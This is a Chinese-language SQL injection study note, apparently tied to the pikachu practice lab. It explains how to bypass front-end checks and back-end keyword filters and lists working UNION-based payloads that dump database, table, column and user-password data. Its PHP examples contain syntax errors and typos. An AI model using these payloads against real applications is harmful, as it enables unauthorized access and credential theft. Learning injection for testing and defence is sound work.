一、前端防御代码绕过
有些输入数据的地方(如登陆页面),当输入的数据不太合适时,直接就有提示,并且不符合要求的话,就不能点击提交按钮,即不能和后台进行交互,像这种行为就都属于前端代码的限制。
绕过前端代码最好的方式就是先输入一个符合格式要求的数据,然后抓包--处理--放包。所以前端代码限制的绕过很简单,但碰到js加密和混淆技术(代码语句顺序打乱)时,前端代码绕过也是比较有难度的。
二、后端防御代码绕过
<?php
$uname = $_GET('username');
情况一:判断关键字
if('select' in Suname){
echo'不要搞事情'}
绕过:大小写绕过:SELECT*FROM USERS;
情况二:替换关键字(双写绕过)
将select *from users中的select替换为空字符串
echo str_replace("select"," ","select * from users");
绕过:selselectect*from users;
其实str_replace只替换了一次select还剩下一个select
情况三:整型转换
直接将用户提交的id数据转换为整型
$id = $_PosT('id');
$id_int = intval(sid);
select *from users where id=$id int
绕过:强防御,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话就不会进行intval()的加工,就可以尝试其他注入手法。
情况四:“\”转义
magic_quotes_gpc=on
或者使用了addslashes(sid)
绕过:开启了魔术符号转义功能,将用户提交的数据中的引号自动在前面加上\进行转义,这种的参看宽字节注入,其他办法很难绕过,但是这里有个点,就是如果对id=1这种数字型的注入,还是有其他办法的,比如id=1 and select*from users;这样的注入语句没有单引号.
三、数据库数据读取
获取当前数据库名、用户名、版本等信息
'union select user(),version()--+
获取mysql所有库名
'union select 1,group_concat(schema_name)from information_schema.schemata+--+
获取所有字段数据
比如获取users表的所有数据指令:
'union select 1,group_concat(id,0x7c,username,0x7c,passmord,0x7c,leve1,0x7c)from users+--+
判断查询的字段个数order by
order by 1,2,3--+
报错,表示字段个数小于3个,那么减少一个字段来尝试
order by 1,2--+
不报错,表示字段个数为2个,如果还报错,那么继续减少一个来尝试
获取pikachu库的所有表名
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+
获取表中的字段名
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+,